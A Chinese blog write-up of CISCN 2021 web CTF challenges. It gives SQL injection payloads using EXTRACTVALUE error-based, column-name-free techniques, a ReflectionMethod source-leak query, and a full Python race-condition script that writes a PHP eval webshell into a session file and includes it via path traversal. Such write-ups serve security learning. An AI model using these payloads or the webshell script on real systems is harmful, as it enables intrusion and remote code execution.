CISCN2021复盘

发布于 2021-05-16  7493 次阅读


Web

easy_sql

SQLMap 无列名注入 报错注入

SQLMap一把梭,就扫出来一个security数据库和id表,里面的东西都是假的。

尝试fuzz一下,发现ban掉了union column information等关键字,payload上出现这些字眼直接返回一个no。

由于column关键字被ban,因此尝试报错+无列名注入。

uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95

uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95

得到flag

easy_source

.swo文件泄露 ReflectionMethod 读取注释

笑死,审题人大失误,居然是原题,payload都不带改一下的

https://r0yanx.com/2020/10/28/fslh-writeup/

首先发现.swo文件泄露 .index.php.swo (一定不要忘记.)

得到源码,flag藏在某个类的注释之中,于是可以尝试ReflectionMethodGetDocComment来获取类的注释。

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

middle_source

https://www.freebuf.com/news/202819.html

session.upload_progress是php5.4新增的功能,说白了就是将文件上传的进度存储在session中。

本题有一个很坑爹的地方,就是.listing文件,这是一个索引文件,会将当前目录的结构存储在这个文件里面。通过访问这个.listing文件,发现了you_can_seeeeeeee_me.php,审计其,发现PHP_SESSION_UPLOAD_PROGRESS这个选项是On的,说明可以尝试session.upload_progress进行文件包含。同时也发现了session的存储目录:/var/lib/php/sessions/ceahhifgia/sess_.

同时,session.use_strict_mode是off的,所以我们可以自己定义一个session,比如我们指定Cookie PHPSESSID=ABC,就会在session下生成一个sess_ABC的文件。但是session.upload_progress.cleanup处于开启状态,此session文件在上传后就会被自动清除,因此需要一个脚本进行条件竞争。

#coding=utf-8
import io
import requests
import threading
sessid = 'flag'
data = {"cmd":"var_dump(scandir('/etc'));","cf":"../../../../var/lib/php/sessions/aabcdbdcea/sess_"+sessid}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://123.60.214.2:26230/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('zhushu.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://123.60.214.2:26230/',data=data)
        if 'zhushu.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

最终找到flag所在位置/etc/ahhadfehie/bbeffdceha/ibdafffefh/cfhcdedbfd/bgjbiceiei/fl444444g

剩余题目在等复现环境...


等风来,不如追风去。